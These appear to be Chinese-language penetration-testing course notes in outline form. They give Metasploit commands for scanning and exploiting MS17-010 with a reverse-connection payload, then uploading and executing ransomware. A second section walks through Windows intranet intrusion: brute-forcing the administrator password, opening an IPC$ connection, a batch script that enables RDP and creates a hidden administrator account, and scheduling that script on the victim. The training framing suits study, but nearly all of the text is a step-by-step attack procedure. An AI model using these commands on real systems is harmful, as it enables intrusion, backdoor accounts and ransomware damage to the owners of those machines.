网络空间安全实训-渗透测试
-
漏洞扫描
-
定义
-
扫描和探测目标范围内的主机存在哪些安全漏洞，或扫描目标范围内的那些主机存在某个指定的漏洞
-
-
漏扫工具
-
AWVS
-
APPScan
-
MSF
-
-
使用MSF扫描漏洞并利用
-
1.搜索需要的攻击模块
-
search ms17-010
-
-
2.使用攻击模块
-
use 模块名称
-
-
3.设置扫描范围
-
set rhosts 192.168.12.0/24
-
-
4.设置扫描线程
-
set thread 50
-
-
5.开始扫描
-
run
-
-
6.更换攻击模块为漏洞利用
-
7.查看可用攻击载荷
-
show payloads
-
-
8.设置攻击载荷
-
set payload 攻击载荷名称
-
-
9.设置被攻击主机IP地址
-
set rhost IP地址
-
-
10.设置反向连接的控制机IP地址
-
set lhost IP地址
-
-
11.开始攻击
-
run
-
-
12.上传病毒
-
upload 本地文件路径 远程主机路径
-
-
13.执行勒索病毒
-
execute -f 勒索病毒路径
-
-
-
-
Windows内网渗透
-
1.扫描对方操作系统和开放的端口
-
确定对方是Windows系统开启了445接口
-
-
2.针对该端口服务暴力破解Windows管理员账号密码
-
3.与对方建立空连接
-
net use \\对方ip地址\ipc$
-
需要输入对方的管理员账号密码
-
-
4.制作开启RDP和创建管理员账户的脚本bat
-
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
-
net user 用户名 密码 /add
-
net local group administrator 用户名 /add
-
-
5.访问对方C盘默认共享，将bat复制到对方C盘
-
在文件资源管理器地址栏中输入 \\对方IP地址\c$
-
-
6.查看对方的系统时间
-
net time \\对方IP地址
-
-
7.给对方创建任务计划，定时执行BAT程序，开启RDP
-
at \\对方ip地址 时间 执行的文件路径
-
-
8.使用先前创建的管理员账号登陆RDP
-
